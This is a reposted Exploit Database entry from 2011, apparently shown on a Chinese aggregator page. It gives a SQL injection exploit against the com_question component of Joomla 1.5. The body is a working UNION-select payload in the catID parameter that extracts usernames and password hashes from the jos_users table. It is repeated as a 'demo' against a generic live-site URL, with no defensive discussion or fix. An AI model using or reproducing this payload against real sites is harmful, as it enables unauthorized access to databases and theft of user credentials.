Joomla! Component com_question – SQL Injection

• Exploit Database
• 14 阅读

• 作者： NeX HaCkEr
  日期： 2011-05-15
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17288/

• ###################################################
  # |Title : Joomla(com_question) SQL Injection Vulnerability
  # |Vendor: http://www.alex-ensdorf.de/
  # |Version : Joomla 1.5 
  # |Date: 15/5/2011
  # |Author: NeX HaCkEr
  # |Contact : Error_log@hotmail.com
  ##################################################
  # | Exploit :
  # | http://localhost/Joomla/index.php/?option=com_question&catID=[SQL]
  # | http://localhost/Joomla/index.php/?option=com_question&catID=21' and+1=0 union all 
  # | select 1,2,3,4,5,6,concat(username,0x3a,password),8,9 from jos_users--%20
  ##################################################
  # | Demo:
  # | http://site.com/index.php/?option=com_question&catID=21' and+1=0 union all select# | 1,2,3,4,5,6,concat(username,0x3a,password),8,9 from jos_users--%20 
  ##################################################
  # | Greetz :
  # | Dr.KAsBeR & DaShEr & MaFiA & WeeD 
  ##################################################